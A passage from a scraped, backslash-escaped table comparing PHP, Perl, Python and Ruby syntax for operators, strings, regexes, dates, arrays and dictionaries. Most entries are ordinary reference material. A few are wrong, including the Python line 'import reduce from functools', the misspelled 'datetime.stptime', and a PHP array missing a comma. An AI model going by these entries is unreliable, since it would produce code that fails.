'' \[\] \{\}| false nil  
logical operators  
| && || \!  
_lower precedence:_  
and or xor| && || \!  
_lower precedence:_  
and or xor not| and or not| && || \!  
_lower precedence:_  
and or not  
conditional expression  
| $x > 0 ? $x : -$x| $x > 0 ? $x : -$x| x if x > 0 else -x| x > 0 ? x : -x  
comparison operators  
| == \!= _or_ <> > < >= <=  
_no conversion:_ === \!==| _numbers only:_ == \!= > < >= <=  
_strings:_ eq ne gt lt ge le| == \!= > < >= <=| == \!= > < >= <=  
three value comparison|  _none_|  0 <=> 1  
"do" cmp "re"| _removed from Python 3:_  
cmp\(0, 1\)  
cmp\('do', 're'\)| 0 <=> 1  
"do" <=> "re"  
convert from string, to string  
| 7 + "12"  
73.9 + ".037"  
"value: " . 8| 7 + "12"  
73.9 + ".037"  
"value: " . 8| 7 + int\('12'\)  
73.9 + float\('.037'\)  
'value: ' \+ str\(8\)| 7 + "12".to\_i  
73.9 + ".037".to\_f  
"value: " \+ "8".to\_s  
arithmetic operators  
| \+ - \* / _none_ % pow\(b,e\)| \+ - \* / _none_ % \*\*| \+ - \* / // % \*\*|
\+ - \* x.fdiv\(y\) / % \*\*  
integer division and divmod  
| \(int\) \(13 / 5\)  
_none_|  int \( 13 / 5 \)  
_none_|  13 // 5  
q, r = divmod\(13, 5\)| 13 / 5  
q, r = 13.divmod\(5\)  
float division  
| 13 / 5| 13 / 5| float\(13\) / 5  
\# Python 3:  
13 / 5| 13.to\_f / 5 _or_  
13.fdiv\(5\)  
arithmetic functions  
| sqrt exp log sin cos tan asin acos atan atan2| use Math::Trig qw\(  
tan asin acos atan\);  
  
sqrt exp log sin cos tan asin acos atan atan2| from math import sqrt, exp,
log, \  
sin, cos, tan, asin, acos, atan, atan2| include Math  
  
sqrt exp log sin cos tan asin acos atan atan2  
arithmetic truncation  
| \(int\)$x  
round\($x\)  
ceil\($x\)  
floor\($x\)  
abs\($x\)| \# cpan -i Number::Format  
use Number::Format 'round';  
use POSIX qw\(ceil floor\);  
  
int\($x\)  
round\($x, 0\)  
ceil\($x\)  
floor\($x\)  
abs\($x\)| import math  
  
int\(x\)  
int\(round\(x\)\)  
math.ceil\(x\)  
math.floor\(x\)  
abs\(x\)| x.to\_i  
x.round  
x.ceil  
x.floor  
x.abs  
min and max  
| min\(1,2,3\)  
max\(1,2,3\)  
$a = array\(1,2,3\)  
min\($a\)  
max\($a\)| use List::Util qw\(min max\);  
  
min\(1,2,3\);  
max\(1,2,3\);  
@a = \(1,2,3\);  
min\(@a\);  
max\(@a\);| min\(1,2,3\)  
max\(1,2,3\)  
min\(\[1,2,3\]\)  
max\(\[1,2,3\]\)| \[1,2,3\].min  
\[1,2,3\].max  
division by zero  
|  _returns_ FALSE _with warning_|  _error_|  _raises_ ZeroDivisionError|
_integer division raises_ ZeroDivisionError  
_float division returns_ Infinity  
integer overflow  
|  _converted to float_|  _converted to float; use_ Math::BigInt _to create
arbitrary length integers_|  _becomes arbitrary length integer of type_ long|
_becomes arbitrary length integer of type_ Bignum  
float overflow  
| INF| inf|  _raises_ OverflowError| Infinity  
sqrt -2  
| NaN|  _error unless_ use Math::Complex _in effect_|  \# raises ValueError:  
import math  
math.sqrt\(-2\)  
  
\# returns complex float:  
import cmath  
cmath.sqrt\(-2\)| _raises_ Errno::EDOM  
rational numbers  
|  _none_|  use Math::BigRat;  
  
my $x = Math::BigRat->new\("22/7"\);  
$x->numerator\(\);  
$x->denominator\(\);| from fractions import Fraction  
  
x = Fraction\(22,7\)  
x.numerator  
x.denominator| require 'rational'  
  
x = Rational\(22,7\)  
x.numerator  
x.denominator  
complex numbers  
|  _none_|  use Math::Complex;  
  
my $z = 1 + 1.414 \* i;  
Re\($z\);  
Im\($z\);| z = 1 + 1.414j  
z.real  
z.imag| require 'complex'  
  
z = 1 + 1.414.im  
z.real  
z.imag  
random integer, uniform float, normal float| rand\(0,99\)  
lcg\_value\(\)  
_none_|  int\(rand\(\) \* 100\)  
rand\(\)  
_none_|  import random  
  
random.randint\(0,99\)  
random.random\(\)  
random.gauss\(0,1\)| rand\(100\)  
rand  
_none_  
set random seed, get and restore seed| srand\(17\);  
  
_none_|  srand 17;  
  
my $sd = srand;  
srand\($sd\);| import random  
  
random.seed\(17\)  
sd = random.getstate\(\)  
random.setstate\(sd\)| srand\(17\)  
  
sd = srand  
srand\(sd\)  
bit operators  
| << >> & | ^ ~| << >> & | ^ ~| << >> & | ^ ~| << >> & | ^ ~  
binary, octal, and hex literals|  _none_  
052  
0x2a| 0b101010  
052  
0x2a| 0b101010  
052  
0x2a| 0b101010  
052  
0x2a  
base conversion| base\_convert\("42", 10, 7\);  
base\_convert\("60", 7, 10\);| \# cpan -i Math::BaseCalc  
use Math::BaseCalc;  
  
$c = new Math::BaseCalc\(digits=>  
\[0..6\]\);  
$c->to\_base\(42\);  
$c->from\_base\("60"\);| _none_  
int\("60", 7\)| 42.to\_s\(7\)  
"60".to\_i\(7\)  
strings  
| php| perl| python| ruby  
string literal  
| "don't say \"no\""  
'don\'t say "no"'| "don't say \"no\""  
'don\'t say "no"'| 'don\'t say "no"'  
"don't say \"no\""  
r"don't " r'say "no"'| "don't say \"no\""  
'don\'t say "no"'  
newline in literal  
|  _yes_|  _yes_|  _no, use escape or triple quote literal_|  _yes_  
backslash escapes  
|  _double quoted:_  
\f \n \r \t \v \x _hh_ \$ \" \_ooo_  
  
_single quoted:_  
\' \\\| _double quoted:_  
\a \b \c _x_ \e \f \n \r \t \x _hh_ \x\{_hhhh_\} \_ooo_  
  
_single quoted:_  
\' \\\| _single and double quoted:_  
\_newline_ \\\ \' \" \a \b \f \n \r \t \v \_ooo_ \x _hh_  
  
_Python 3:_  
\u _hhhh_ \U _hhhhhhhh_|  _double quoted:_  
\a \b \c _x_ \e \f \n \r \s \t \u _hhhh_ \u\{_hhhhh_\} \v \x _hh_ \_ooo_  
  
_single quoted:_  
\' \\\  
variable interpolation  
| $count = 3;  
$item = "ball";  
echo "$count $\{item\}s\n";| my $count = 3;  
my $item = "ball";  
print "$count $\{item\}s\n";| _none_|  count = 3  
item = "ball"  
puts "\#\{count\} \#\{item\}s"  
custom delimiters|  _none_|  my $s1 = q\(lorem ipsum\);  
my $s2 = qq\($s1 dolor sit amet\);| _none_|  s1 = %q\(lorem ipsum\)  
s2 = %Q\(\#\{s1\} dolor sit amet\)  
sprintf  
| $fmt = "lorem %s %d %f";  
sprintf\($fmt, "ipsum", 13, 3.7\);| my $fmt = "lorem %s %d %f";  
sprintf\($fmt, "ipsum", 13, 3.7\)| 'lorem %s %d %f' % \('ipsum',13,3.7\)  
  
fmt = 'lorem \{0\} \{1\} \{2\}'  
str.format\(fmt, 'ipsum', 13, 3.7\)| "lorem %s %d %f" % \["ipsum",13,3.7\]  
here document  
| $word = "amet";  
$s = <<<EOF  
lorem ipsum  
dolor sit $word  
EOF;| $word = "amet";  
$s = <<EOF;  
lorem ipsum  
dolor sit $word  
EOF|  _none_|  word = "amet"  
s = <<EOF  
lorem ipsum  
dolor sit \#\{word\}  
EOF  
concatenate  
| $s = "Hello, ";  
$s2 = $s . "World\!";| my $s = "Hello, ";  
my $s2 = $s . "World\!";| s = 'Hello, '  
s2 = s + 'World\!'  
  
_juxtaposition can be used to concatenate literals:_  
s2 = 'Hello, ' "World\!"| s = "Hello, "  
s2 = s + "World\!"  
  
_juxtaposition can be used to concatenate literals:_  
s2 ="Hello, " 'World\!'  
replicate  
| $hbar = str\_repeat\("-", 80\);| my $hbar = "-" x 80;| hbar = '-' \* 80|
hbar = "-" \* 80  
split, split in two, split into characters| explode\(" ", "do re mi fa"\)  
preg\_split\('/\s+/', "do re mi fa", 2\)  
preg\_split\('//', "abcd", -1,  
PREG\_SPLIT\_NO\_EMPTY\)| split\(/\s+/, "do re mi fa"\)  
split\(/\s+/, "do re mi fa", 2\)  
split\(//, "abcd"\)| 'do re mi fa'.split\(\)  
re.split\('\s+', 'do re mi fa', 1\)  
list\('abcd'\)| "do re mi fa".split  
"do re mi fa".split\(/\s+/, 2\)  
"abcd".split\(""\)  
join  
| $a = array\("do", "re", "mi", "fa"\);  
implode\(" ", $a\)| join\(" ", qw\(do re mi fa\)\)| ' '.join\(\['do', 're',
'mi', 'fa'\]\)| %w\(do re mi fa\).join\(' '\)  
case manipulation| strtoupper\("lorem"\)  
strtolower\("LOREM"\)  
ucfirst\("lorem"\)| uc\("lorem"\)  
lc\("LOREM"\)  
ucfirst\("lorem"\)| 'lorem'.upper\(\)  
'LOREM'.lower\(\)  
'lorem'.capitalize\(\)| "lorem".upcase  
"LOREM".downcase  
"lorem".capitalize  
strip  
| trim\(" lorem "\)  
ltrim\(" lorem"\)  
rtrim\("lorem "\)| \# cpan -i Text::Trim  
use Text::Trim;  
  
trim " lorem "  
ltrim " lorem"  
rtrim "lorem "| ' lorem '.strip\(\)  
' lorem'.lstrip\(\)  
'lorem '.rstrip\(\)| " lorem ".strip  
" lorem".lstrip  
"lorem ".rstrip  
pad on right, on left  
| str\_pad\("lorem", 10\)  
str\_pad\("lorem", 10, " ",  
STR\_PAD\_LEFT\)| sprintf\("%-10s", "lorem"\)  
sprintf\("%10s", "lorem"\)| 'lorem'.ljust\(10\)  
'lorem'.rjust\(10\)| "lorem".ljust\(10\)  
"lorem".rjust\(10\)  
length  
| strlen\("lorem"\)| length\("lorem"\)| len\('lorem'\)| "lorem".length  
"lorem".size  
index of substring  
| strpos\("lorem ipsum", "ipsum"\)  
_returns_ FALSE _if not found_|  index\("lorem ipsum", "ipsum"\)  
_returns_ -1 _if not found_|  'lorem ipsum'.index\('ipsum'\)  
_raises_ ValueError _if not found_|  "lorem ipsum".index\("ipsum"\)  
_returns_ nil _if not found_  
extract substring  
| substr\("lorem ipsum", 6, 5\)| substr\("lorem ipsum", 6, 5\)| 'lorem
ipsum'\[6:11\]| "lorem ipsum"\[6, 5\]  
extract character|  _syntax error to use index notation directly on string
literal:_  
$s = "lorem ipsum";  
$s\[6\];| _can't use index notation with strings:_  
substr\("lorem ipsum", 6, 1\)| 'lorem ipsum'\[6\]| "lorem ipsum"\[6\]  
chr and ord  
| chr\(65\)  
ord\("A"\)| chr\(65\)  
ord\("A"\)| chr\(65\)  
ord\('A'\)| 65.chr  
"A".ord  
character translation  
| $ins = implode\(range\("a", "z"\)\);  
$outs = substr\($ins, 13, 13\) . substr\($ins, 0, 13\);  
strtr\("hello", $ins, $outs\)| $s = "hello";  
$s =~ tr/a-z/n-za-m/;| from string import lowercase as ins  
from string import maketrans  
  
outs = ins\[13:\] + ins\[:13\]  
'hello'.translate\(maketrans\(ins,outs\)\)| "hello".tr\("a-z", "n-za-m"\)  
regular expresions  
| php| perl| python| ruby  
literal, custom delimited literal| '/lorem|ipsum/'  
'\(/etc/hosts\)'| /lorem|ipsum/  
qr\(/etc/hosts\)| re.compile\('lorem|ipsum'\)  
_none_|  /lorem|ipsum/  
%r\(/etc/hosts\)  
character class abbreviations and anchors|  _char class abbrevs:_  
. \d \D \h \H \s \S \v \V \w \W  
  
_anchors:_ ^ $ \A \b \B \z \Z|  _char class abbrevs:_  
. \d \D \h \H \s \S \v \V \w \W  
  
_anchors:_ ^ $ \A \b \B \z \Z|  _char class abbrevs:_  
. \d \D \s \S \w \W  
  
_anchors:_ ^ $ \A \b \B \Z|  _char class abbrevs:_  
. \d \D \h \H \s \S \w \W  
  
_anchors:_ ^ $ \A \b \B \z \Z  
match test  
| if \(preg\_match\('/1999/', $s\)\) \{  
echo "party\!\n";  
\}| if \($s ~~ /1999/\) \{  
print "party\!\n";  
\}| if re.search\('1999', s\):  
print\('party\!'\)| if /1999/.match\(s\)  
puts "party\!"  
end  
case insensitive match test| preg\_match\('/lorem/i', "Lorem"\)| "Lorem" ~~
/lorem/i| re.search\('lorem', 'Lorem', re.I\)| /lorem/i.match\("Lorem"\)  
modifiers  
| e i m s x| i m s p x| re.I re.M re.S re.X| i o m x  
substitution  
| $s = "do re mi mi mi";  
$s = preg\_replace\('/mi/', "ma", $s\);| my $s = "do re mi mi mi";  
$s =~ s/mi/ma/g;| s = 'do re mi mi mi'  
s = re.compile\('mi'\).sub\('ma', s\)| s = "do re mi mi mi"  
s.gsub\!\(/mi/, "ma"\)  
match, prematch, postmatch  
|  _none_|  if \($s =~ /\d\{4\}/p\) \{  
$match = $\{^MATCH\};  
$prematch = $\{^PREMATCH\};  
$postmatch = $\{^POSTMATCH\};  
\}| m = re.search\('\d\{4\}', s\)  
if m:  
match = m.group\(\)  
prematch = s\[0:m.start\(0\)\]  
postmatch = s\[m.end\(0\):len\(s\)\]| m = /\d\{4\}/.match\(s\)  
if m  
match = m\[0\]  
prematch = m.pre\_match  
postmatch = m.post\_match  
end  
group capture  
| $s = "2010-06-03";  
$rx = '/\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)/';  
preg\_match\($rx, $s, $m\);  
list\($\_, $yr, $mo, $dy\) = $m;| $rx =
qr/\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)/;  
"2010-06-03" =~ $rx;  
\($yr, $mo, $dy\) = \($1, $2, $3\);| rx =
'\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)'  
m = re.search\(rx, '2010-06-03'\)  
yr, mo, dy = m.groups\(\)| rx = /\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)/  
m = rx.match\("2010-06-03"\)  
yr, mo, dy = m\[1..3\]  
scan  
| $s = "dolor sit amet";  
preg\_match\_all\('/\w+/', $s, $m\);  
$a = $m\[0\];| my $s = "dolor sit amet";  
@a = $s =~ m/\w+/g;| s = 'dolor sit amet'  
a = re.findall\('\w+', s\)| a = "dolor sit amet".scan\(/\w+/\)  
backreference in match and substitution| preg\_match\('/\(\w+\) \1/', "do
do"\)  
  
$s = "do re";  
$rx = '/\(\w+\) \(\w+\)/';  
$s = preg\_replace\($rx, '\2 \1', $s\);| "do do" =~ /\(\w+\) \1/  
  
my $s = "do re";  
$s =~ s/\(\w+\) \(\w+\)/$2 $1/;| _none_  
  
rx = re.compile\('\(\w+\) \(\w+\)'\)  
rx.sub\(r'\2 \1', 'do re'\)| /\(\w+\) \1/.match\("do do"\)  
  
"do re".sub\(/\(\w+\) \(\w+\)/, '\2 \1'\)  
recursive regex| '/\\\(\(\[^\(\)\]\*|\($R\)\)\\\)/'|
/\\\(\(\[^\(\)\]\*|\(?R\)\)\\\)/| _none_|  _Ruby 1.9:_  
/\(?<p>\\\(\(\[^\(\)\]\*|\g<p>\)\*\\\)\)/  
dates and time  
| php| perl| python| ruby  
date/time type  
| DateTime| Time::Piece _if_ use Time::Piece _in effect, otherwise tm array_|
datetime.datetime| Time  
current date/time| $t = new DateTime\("now"\);  
$utc\_tmz = new DateTimeZone\("UTC"\);  
$utc = new DateTime\("now", $utc\_tmz\);| use Time::Piece;  
  
my $t = localtime\(time\);  
my $utc = gmtime\(time\);| import datetime  
  
t = datetime.datetime.now\(\)  
utc = datetime.datetime.utcnow\(\)| t = Time.now  
utc = Time.now.utc  
to unix epoch, from unix epoch| $epoch = $t->getTimestamp\(\);  
$t2 = new DateTime\(\);  
$t2->setTimestamp\(1304442000\);| use Time::Local;  
use Time::Piece;  
  
my $epoch = timelocal\($t\);  
my $t2 = localtime\(1304442000\);| from datetime import datetime as dt  
  
epoch = int\(t.strftime\("%s"\)\)  
t2 = dt.fromtimestamp\(1304442000\)| epoch = t.to\_i  
t2 = Time.at\(1304442000\)  
current unix epoch| $epoch = time\(\);| $epoch = time;| _convert_
datetime.datetime.now\(\)| _convert_ Time.now  
strftime| strftime\("%Y-%m-%d %H:%M:%S", $epoch\);  
date\("Y-m-d H:i:s", $epoch\);  
$t->format\("Y-m-d H:i:s"\);| use Time::Piece;  
  
$t = localtime\(time\);  
$fmt = "%Y-%m-%d %H:%M:%S";  
print $t->strftime\($fmt\);| t.strftime\('%Y-%m-%d %H:%M:%S'\)|
t.strftime\("%Y-%m-%d %H:%M:%S"\)  
default format example|  _no default string representation_|  Tue Aug 23
19:35:19 2011| 2011-08-23 19:35:59.411135| 2011-08-23 17:44:53 -0700  
strptime| $fmt = "Y-m-d H:i:s";  
$s = "2011-05-03 10:00:00";  
$t = DateTime::createFromFormat\($fmt,  
$s\);| use Time::Local;  
use Time::Piece;  
  
$s = "2011-05-03 10:00:00";  
$fmt = "%Y-%m-%d %H:%M:%S";  
$t = Time::Piece->strptime\($s,$fmt\);| from datetime import datetime  
  
s = '2011-05-03 10:00:00'  
fmt = '%Y-%m-%d %H:%M:%S'  
t = datetime.stptime\(s, fmt\)| require 'date'  
  
s = "2011-05-03 10:00:00"  
fmt = "%Y-%m-%d %H:%M:%S"  
t = Date.strptime\(s, fmt\).to\_time  
parse date w/o format| $epoch = strtotime\("July 7, 1999"\);| \# cpan -i
Date::Parse  
use Date::Parse;  
  
$epoch = str2time\("July 7, 1999"\);| \# pip install python-dateutil  
import dateutil.parser  
  
s = 'July 7, 1999'  
t = dateutil.parser.parse\(s\)| require 'date'  
  
s = "July 7, 1999"  
t = Date.parse\(s\).to\_time  
result of date subtraction| DateInterval _object if_ diff _method used:_  
$fmt = "Y-m-d H:i:s";  
$s = "2011-05-03 10:00:00";  
$then = DateTime::createFromFormat\($fmt, $s\);  
$now = new DateTime\("now"\);  
$interval = $now->diff\($then\);| Time::Seconds _object if_ use Time::Piece
_in effect; not meaningful to subtract tm arrays_|  datetime.timedelta
//object| Float _containing time difference in seconds_  
add time duration| $now = new DateTime\("now"\);  
$now->add\(new DateInterval\("PT10M3S"\);| use Time::Seconds;  
  
$now = localtime\(time\);  
$now += 10 \* ONE\_MINUTE\(\) + 3;| import datetime  
  
delta = datetime.timedelta\(  
minutes=10,  
seconds=3\)  
t = datetime.datetime.now\(\) + delta| require 'date/delta'  
  
s = "10 min, 3 s"  
delta = Date::Delta.parse\(s\).in\_secs  
t = Time.now + delta  
local timezone|  _DateTime objects can be instantiated without specifying the
timezone if a default is set:_  
$s = "America/Los\_Angeles";  
date\_default\_timezone\_set\($s\);| Time::Piece _has local timezone if
created with_ localtime _and UTC timezone if created with_ gmtime; _tm arrays
have no timezone or offset info_|  _a_ datetime _object has no timezone
information unless a_ tzinfo _object is provided when it is created_|  _if no
timezone is specified the local timezone is used_  
timezone name; offset from UTC; is daylight savings?| $tmz =
date\_timezone\_get\($t\);  
timezone\_name\_get\($tmz\);  
date\_offset\_get\($t\) / 3600;  
$t->format\("I"\);| \# cpan -i DateTime  
use DateTime;  
use DateTime::TimeZone;  
  
$dt = DateTime->now\(\);  
$tz = DateTime::TimeZone->new\(  
name=>"local"\);  
  
$tz->name;  
$tz->offset\_for\_datetime\($dt\) /  
3600;  
$tz->is\_dst\_for\_datetime\($dt\);| import time  
  
tm = time.localtime\(\)  
  
time.tzname\[tm.tm\_isdst\]  
\(time.timezone / -3600\) + tm.tm\_isdst  
tm.tm\_isdst| t.zone  
t.utc\_offset / 3600  
t.dst?  
microseconds| list\($frac, $sec\) = explode\(" ",  
microtime\(\)\);  
$usec = $frac \* 1000 \* 1000;| use Time::HiRes qw\(gettimeofday\);  
  
\($sec, $usec\) = gettimeofday;| t.microsecond| t.usec  
sleep|  _a float argument will be truncated to an integer:_  
sleep\(1\);| _a float argument will be truncated to an integer:_  
sleep 1;| import time  
  
time.sleep\(0.5\)| sleep\(0.5\)  
timeout|  _use_ set\_time\_limit _to limit execution time of the entire
script; use_ stream\_set\_timeout _to limit time spent reading from a stream
opened with_ fopen _or_ fsockopen| eval \{  
$SIG\{ALRM\}= sub \{die "timeout\!";\};  
alarm 5;  
sleep 10;  
\};  
alarm 0;| import signal, time  
  
class Timeout\(Exception\): pass  
  
def timeout\_handler\(signo, fm\):  
raise Timeout\(\)  
  
signal.signal\(signal.SIGALRM,  
timeout\_handler\)  
  
try:  
signal.alarm\(5\)  
time.sleep\(10\)  
except Timeout:  
pass  
signal.alarm\(0\)| require 'timeout'  
  
begin  
Timeout.timeout\(5\) do  
sleep\(10\)  
end  
rescue Timeout::Error  
end  
arrays  
| php| perl| python| ruby  
literal  
| $a = array\(1, 2, 3, 4\);| @a = \(1, 2, 3, 4\);| a = \[1, 2, 3, 4\]| a =
\[1, 2, 3, 4\]  
quote words  
|  _none_|  @a = qw\(do re mi\);| _none_|  a = %w\(do re mi\)  
size  
| count\($a\)| $\#a \+ 1 _or_  
scalar\(@a\)| len\(a\)| a.size  
a.length \# same as size  
empty test  
| \!$a| \!@a| not a| NoMethodError _if_ a _is_ nil:  
a.empty?  
lookup  
| $a\[0\]| $a\[0\]| a\[0\]| a\[0\]  
update  
| $a\[0\] = "lorem";| $a\[0\] = "lorem";| a\[0\] = 'lorem'| a\[0\] = "lorem"  
out-of-bounds behavior| $a = array\(\);  
_evaluates as_ NULL:  
$a\[10\];  
_increases array size to one:_  
$a\[10\] = "lorem";| @a = \(\);  
_evaluates as_ undef:  
$a\[10\];  
_increases array size to 11:_  
$a\[10\] = "lorem";| a = \[\]  
_raises_ IndexError:  
a\[10\]  
_raises_ IndexError:  
a\[10\] = 'lorem'| a = \[\]  
_evaluates as_ nil:  
a\[10\]  
_increases array size to 11:_  
a\[10\] = "lorem"  
index of array element| $a = array\("x", "y", "z", "w"\);  
$i = array\_search\("y", $a\);| use List::Util 'first';  
  
@a = qw\(x y z w\);  
$i = first \{$a\[$\_\] eq "y"\} \(0..$\#a\);| a = \['x', 'y', 'z', 'w'\]  
i = a.index\('y'\)| a = %w\(x y z w\)  
i = a.index\("y"\)  
slice by endpoints, by length  
|  _select 3rd and 4th elements:_  
_none_  
array\_slice\($a, 2, 2\)| _select 3rd and 4th elements:_  
@a\[2..3\]  
splice\(@a, 2, 2\)| _select 3rd and 4th elements:_  
a\[2:4\]  
_none_|  _select 3rd and 4th elements:_  
a\[2..3\]  
a\[2, 2\]  
slice to end  
| array\_slice\($a, 1\)| @a\[1..$\#a\]| a\[1:\]| a\[1..-1\]  
manipulate back  
| $a = array\(6,7,8\);  
array\_push\($a, 9\);  
$a\[\] = 9; \# same as array\_push  
array\_pop\($a\);| @a = \(6,7,8\);  
push @a, 9;  
pop @a;| a = \[6,7,8\]  
a.append\(9\)  
a.pop\(\)| a = \[6,7,8\]  
a.push\(9\)  
a << 9 \# same as push  
a.pop  
manipulate front  
| $a = array\(6,7,8\);  
array\_unshift\($a, 5\);  
array\_shift\($a\);| @a = \(6,7,8\);  
unshift @a, 5;  
shift @a;| a = \[6,7,8\]  
a.insert\(0,5\)  
a.pop\(0\)| a = \[6,7,8\]  
a.unshift\(5\)  
a.shift  
concatenate| $a = array\(1,2,3\);  
$a2 = array\_merge\($a,array\(4,5,6\)\);  
$a = array\_merge\($a,array\(4,5,6\)\);| @a = \(1,2,3\);  
@a2 = \(@a,\(4,5,6\)\);  
push @a, \(4,5,6\);| a = \[1,2,3\]  
a2 = a + \[4,5,6\]  
a.extend\(\[4,5,6\]\)| a = \[1,2,3\]  
a2 = a + \[4,5,6\]  
a.concat\(\[4,5,6\]\)  
address copy, shallow copy, deep copy| $a = array\(1,2,array\(3,4\)\);  
$a2 =& $a;  
_none_  
$a4 = $a;| use Storable 'dclone'  
  
my @a = \(1,2,\[3,4\]\);  
my $a2 = \@a;  
my @a3 = @a;  
my @a4 = @\{dclone\(\@a\)\};| import copy  
  
a = \[1,2,\[3,4\]\]  
a2 = a  
a3 = list\(a\)  
a4 = copy.deepcopy\(a\)| a = \[1,2,\[3,4\]\]  
a2 = a  
a3 = a.dup  
a4 = Marshal.load\(Marshal.dump\(a\)\)  
arrays as function arguments|  _parameter contains deep copy_|  _each element
passed as separate argument; use reference to pass array as single argument_|
_parameter contains address copy_|  _parameter contains address copy_  
iteration  
| foreach \(array\(1,2,3\) as $i\) \{  
echo "$i\n";  
\}| for $i \(1 2 3\) \{ print "$i\n" \}| for i in \[1,2,3\]:  
print\(i\)| \[1,2,3\].each \{ |i| puts i \}  
indexed iteration| $a = array\("do", "re", "mi" "fa"\);  
foreach \($a as $i => $s\) \{  
echo "$s at index $i\n";  
\}| _none; use range iteration from_ 0 _to_ $\#a _and use index to look up
value in the loop body_|  a = \['do', 're', 'mi', 'fa'\]  
for i, s in enumerate\(a\):  
print\('%s at index %d' % \(s, i\)\)| a = %w\(do re mi fa\)  
a.each\_with\_index do |s,i|  
puts "\#\{s\} at index \#\{i\}"  
end  
iterate over range|  _not space efficient; use C-style for loop_|  for $i
\(1..1\_000\_000\) \{  
 _code_  
\}| range _replaces_ xrange _in Python 3:_  
for i in xrange\(1, 1000001\):  
 _code_| \(1..1\_000\_000\).each do |i|  
 _code_  
end  
instantiate range as array| $a = range\(1, 10\);| @a = 1..10;| a = range\(1,
11\)  
_Python 3:_  
a = list\(range\(1, 11\)\)| a = \(1..10\).to\_a  
reverse| $a = array\(1,2,3\);  
array\_reverse\($a\);  
$a = array\_reverse\($a\);| @a = \(1,2,3\);  
reverse @a;  
@a = reverse @a;| a = \[1,2,3\]  
a\[::-1\]  
a.reverse\(\)| a = \[1,2,3\]  
a.reverse  
a.reverse\!  
sort| $a = array\("b", "A", "a", "B"\);  
_none_  
sort\($a\);  
_none, but_ usort _sorts in place_|  @a = qw\(b A a B\);  
sort @a;  
@a = sort @a;  
sort \{ lc\($a\) cmp lc\($b\) \} @a;| a = \['b', 'A', 'a', 'B'\]  
sorted\(a\)  
a.sort\(\)  
a.sort\(key=str.lower\)| a = %w\(b A a B\)  
a.sort  
a.sort\!  
a.sort do |x,y|  
x.downcase <=> y.downcase  
end  
dedupe| $a = array\(1,2,2,3\);  
$a2 = array\_unique\($a\);  
$a = array\_unique\($a\);| use List::MoreUtils 'uniq';  
  
my @a = \(1,2,2,3\);  
my @a2 = uniq @a;  
@a = uniq @a;| a = \[1,2,2,3\]  
a2 = list\(set\(a\)\)  
a = list\(set\(a\)\)| a = \[1,2,2,3\]  
a2 = a.uniq  
a.uniq\!  
membership  
| in\_array\(7, $a\)| 7 ~~ @a| 7 in a| a.include?\(7\)  
intersection  
| $a = array\(1,2\);  
$b = array\(2,3,4\)  
array\_intersect\($a, $b\)| | set.intersection\(\{1,2\}, \{2,3,4\}\)| \[1,2\] & \[2,3,4\]  
union  
| $a1 = array\(1,2\);  
$a2 = array\(2,3,4\);  
array\_unique\(array\_merge\($a1, $a2\)\)| | set.union\(\{1,2\}, \{2,3,4\}\)| \[1,2\] | \[2,3,4\]  
set difference| $a1 = array\(1,2,3\);  
$a2 = array\(2\);  
array\_values\(array\_diff\($a1, $a2\)\)| | \{1,2,3\} - \{2\}| \[1,2,3\] - \[2\]  
map  
| array\_map\(function \($x\) \{  
return $x\*$x;  
\}, array\(1,2,3\)\)| map \{ $\_ \* $\_ \} \(1,2,3\)| map\(lambda x: x \* x,
\[1,2,3\]\)  
\# or use list comprehension:  
\[x\*x for x in \[1,2,3\]\]| \[1,2,3\].map \{ |o| o\*o \}  
filter  
| array\_filter\(array\(1,2,3\),  
function \($x\) \{  
return $x>1;  
\}\)| grep \{ $\_ > 1 \} \(1,2,3\)| filter\(lambda x: x > 1, \[1,2,3\]\)  
\# or use list comprehension:  
\[x for x in \[1,2,3\] if x > 1\]| \[1,2,3\].select \{ |o| o > 1 \}  
reduce  
| array\_reduce\(array\(1,2,3\),  
function\($x,$y\) \{  
return $x+$y;  
\}, 0\)| use List::Util 'reduce';  
  
reduce \{ $x + $y \} 0, \(1,2,3\)| \# import needed in Python 3 only  
import reduce from functools  
  
reduce\(lambda x, y: x+y, \[1,2,3\], 0\)| \[1,2,3\].inject\(0\) \{ |m,o| m+o
\}  
universal and existential tests  
|  _use array\_filter_|  \# cpan -i List::MoreUtils  
use List::MoreUtils qw\(all any\);  
  
all \{ $\_ % 2 == 0 \} \(1,2,3,4\)  
any \{ $\_ % 2 == 0 \} \(1,2,3,4\)| all\(i%2 == 0 for i in \[1,2,3,4\]\)  
any\(i%2 == 0 for i in \[1,2,3,4\]\)| \[1,2,3,4\].all? \{|i| i.even? \}  
\[1,2,3,4\].any? \{|i| i.even? \}  
shuffle and sample| $a = array\(1, 2, 3, 4\);  
shuffle\($a\);  
array\_rand\($a, 2\)| use List::Util 'shuffle';  
  
@a = \(1, 2, 3, 4\);  
shuffle\(@a\);  
_none_|  from random import shuffle, sample  
  
a = \[1, 2, 3, 4\]  
shuffle\(a\)  
sample\(a, 2\)| \[1, 2, 3, 4\].shuffle  
_Ruby 1.9:_  
\[1, 2, 3, 4\].sample\(2\)  
zip  
| \# array of 3 pairs:  
$a = array\_map\(NULL,  
array\(1, 2, 3\),  
array\("a", "b", "c"\)\);| \# cpan -i List::MoreUtils  
use List::MoreUtils 'zip';  
  
@nums = \(1, 2, 3\);  
@lets = qw\(a b c\);  
\# flat array of 6 elements:  
@a = zip @nums, @lets;| \# array of 3 pairs:  
a = zip\(\[1,2,3\], \['a', 'b', 'c'\]\)| \# array of 3 pairs:  
a = \[1,2,3\].zip\(\["a", "b", "c"\]\)  
dictionaries  
| php| perl| python| ruby  
literal  
| $d = array\("t" => 1, "f" => 0\);| %d = \( t => 1, f => 0 \);| d = \{ 't':1,
'f':0 \}| d = \{ "t" => 1, "f" => 0 \}  
size  
| count\($d\)| scalar\(keys %d\)| len\(d\)| d.size  
d.length \# same as size  
lookup  
| $d\["t"\]| $d\{"t"\}| d\['t'\]| d\["t"\]  
out-of-bounds behavior  
| $d = array\(\);  
_evaluates as_ NULL:  
$d\["lorem"\];  
_adds key/value pair:_  
$d\["lorem"\] = "ipsum";| %d = \(\);  
_evaluates as_ undef:  
$d\{"lorem"\};  
_adds key/value pair:_  
$d\{"lorem"\} = "ipsum";| d = \{\}  
_raises_ KeyError:  
d\['lorem'\]  
_adds key/value pair:_  
d\['lorem'\] = 'ipsum'| d = \{\}  
_evaluates as_ nil:  
d\["lorem"\]  
